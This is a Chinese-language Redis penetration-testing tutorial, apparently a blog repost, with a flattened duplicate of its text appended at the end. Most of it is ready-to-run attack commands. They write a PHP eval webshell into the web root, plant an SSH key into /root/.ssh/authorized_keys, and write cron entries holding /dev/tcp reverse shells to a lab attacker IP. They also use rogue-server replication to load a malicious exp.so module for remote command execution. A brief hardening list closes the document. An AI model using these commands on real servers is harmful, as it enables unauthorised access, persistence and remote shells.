Redis渗透方法汇总
字数 1196 2025-08-09 19:58:05

Redis渗透方法汇总

0x01 Redis简介

Redis(REmote DIctionary Server)是一个开源的、基于内存的键值存储系统,由Salvatore Sanfilippo开发。主要特点:

  • 使用ANSI C语言编写,支持多种数据结构(String, Hash, List, Set, Sorted Set)
  • 高性能,数据可持久化
  • 支持主从复制和集群
  • 默认端口:6379(Sentinel配置端口为26379)
  • 最新稳定版本:6.2(文档演示使用3.2.0版本)

0x02 未授权访问漏洞

漏洞原理

  1. 配置不当导致:
    • 任意机器都可以登录Redis(注释掉bind 127.0.0.1)
    • 未设置密码或使用弱口令

环境搭建

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

配置修改

  1. 注释掉bind 127.0.0.1
  2. 设置protected-mode no关闭安全模式

启动Redis

cp redis.conf ./src/redis.conf
./src/redis-server redis.conf

连接Redis

./redis-cli -h {host} -p {port} [-a {password}]

常用命令

  1. info - 查看信息
  2. flushall - 删除所有数据库内容
  3. keys * - 查看所有键
  4. set test "value" - 设置变量
  5. config set dir /path - 设置路径
  6. config get dir - 获取路径信息
  7. save - 保存数据

0x03 Redis写入Webshell

攻击步骤

  1. 切换目录到网站根目录:
    config set dir /var/www/html
    
  2. 写入恶意代码:
    set x "\n\n\n<?php phpinfo();?>\n\n\n"
    set xx "\n\n\n<?php @eval($_POST['1']);?>\n\n\n"
    
  3. 设置文件名并保存:
    config set dbfilename a001.php
    save
    

验证Webshell

  1. 访问写入的PHP文件
  2. 使用蚁剑等工具连接一句话木马

0x04 Redis密钥登录SSH

攻击步骤

  1. 设置Redis密码:
    config set requirepass a001
    
  2. 生成SSH密钥对:
    ssh-keygen -t rsa
    
  3. 将公钥写入Redis:
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | ./redis-cli -h 192.168.175.162 -a a001 -x set xxxx
    
  4. 设置导出路径和文件名:
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
    
  5. 使用私钥SSH登录:
    ssh -i id_rsa root@192.168.175.162
    

0x05 利用计划任务反弹Shell

方法一:直接写入

  1. 设置反弹Shell命令:
    set xx "\n*bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n"
    
    (*代表计划任务执行时间)
  2. 设置导出路径和文件名:
    config set dir /var/spool/cron/
    config set dbfilename root
    save
    

方法二:使用管道

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n\n" | \
./redis-cli -h 192.168.175.162 -a a001 -x set 1

./redis-cli -h 192.168.175.162 -a a001 config set dir /var/spool/cron/
./redis-cli -h 192.168.175.162 -a a001 config set dbfilename root
./redis-cli -h 192.168.175.162 -a a001 save

0x06 利用主从复制RCE

适用版本

Redis 4.x、5.x

攻击原理

攻击者作为主服务器,将恶意so文件同步到目标从服务器,实现远程命令执行。

攻击步骤

  1. 下载利用脚本:

  2. 执行攻击:

    python3 redis_rogue_server.py -rhost 192.168.175.162 -lhost 192.168.175.161 -passwd a002
    

    选择:

    • i:直接获取shell
    • r:反弹shell
  3. 获取交互式shell:

    python3 -c "import pty;pty.spawn('/bin/bash')"
    

0x07 本地Redis主从复制RCE反弹Shell

适用场景

目标仅允许本地登录Redis时

攻击步骤

  1. 攻击机启动主服务器:
    python3 redis_rogue_server.py -v -path exp.so
    
  2. 目标机执行:
    config set dir /tmp
    config set dbfilename exp.so
    slaveof 192.168.175.161 15000
    slaveof NO ONE
    module load ./exp.so
    
  3. 执行命令:
    system.rev 192.168.175.161 9999  # 反弹shell
    system.exec "id"  # 执行命令
    

防御建议

  1. 设置强密码认证
  2. 绑定指定IP访问(不要注释bind 127.0.0.1)
  3. 启用保护模式(protected-mode yes)
  4. 限制高危命令(rename-command FLUSHALL "")
  5. 使用防火墙限制访问
  6. 及时更新Redis版本
  7. 不以root权限运行Redis服务
Redis渗透方法汇总 0x01 Redis简介 Redis(REmote DIctionary Server)是一个开源的、基于内存的键值存储系统,由Salvatore Sanfilippo开发。主要特点: 使用ANSI C语言编写,支持多种数据结构(String, Hash, List, Set, Sorted Set) 高性能,数据可持久化 支持主从复制和集群 默认端口:6379(Sentinel配置端口为26379) 最新稳定版本:6.2(文档演示使用3.2.0版本) 0x02 未授权访问漏洞 漏洞原理 配置不当导致: 任意机器都可以登录Redis(注释掉bind 127.0.0.1) 未设置密码或使用弱口令 环境搭建 配置修改 注释掉 bind 127.0.0.1 设置 protected-mode no 关闭安全模式 启动Redis 连接Redis 常用命令 info - 查看信息 flushall - 删除所有数据库内容 keys * - 查看所有键 set test "value" - 设置变量 config set dir /path - 设置路径 config get dir - 获取路径信息 save - 保存数据 0x03 Redis写入Webshell 攻击步骤 切换目录到网站根目录: 写入恶意代码: 设置文件名并保存: 验证Webshell 访问写入的PHP文件 使用蚁剑等工具连接一句话木马 0x04 Redis密钥登录SSH 攻击步骤 设置Redis密码: 生成SSH密钥对: 将公钥写入Redis: 设置导出路径和文件名: 使用私钥SSH登录: 0x05 利用计划任务反弹Shell 方法一:直接写入 设置反弹Shell命令: (* 代表计划任务执行时间) 设置导出路径和文件名: 方法二:使用管道 0x06 利用主从复制RCE 适用版本 Redis 4.x、5.x 攻击原理 攻击者作为主服务器,将恶意so文件同步到目标从服务器,实现远程命令执行。 攻击步骤 下载利用脚本: redis-rogue-server (未授权) Awsome-Redis-Rogue-Server (有密码) 执行攻击: 选择: i :直接获取shell r :反弹shell 获取交互式shell: 0x07 本地Redis主从复制RCE反弹Shell 适用场景 目标仅允许本地登录Redis时 攻击步骤 攻击机启动主服务器: 目标机执行: 执行命令: 防御建议 设置强密码认证 绑定指定IP访问(不要注释bind 127.0.0.1) 启用保护模式(protected-mode yes) 限制高危命令(rename-command FLUSHALL "") 使用防火墙限制访问 及时更新Redis版本 不以root权限运行Redis服务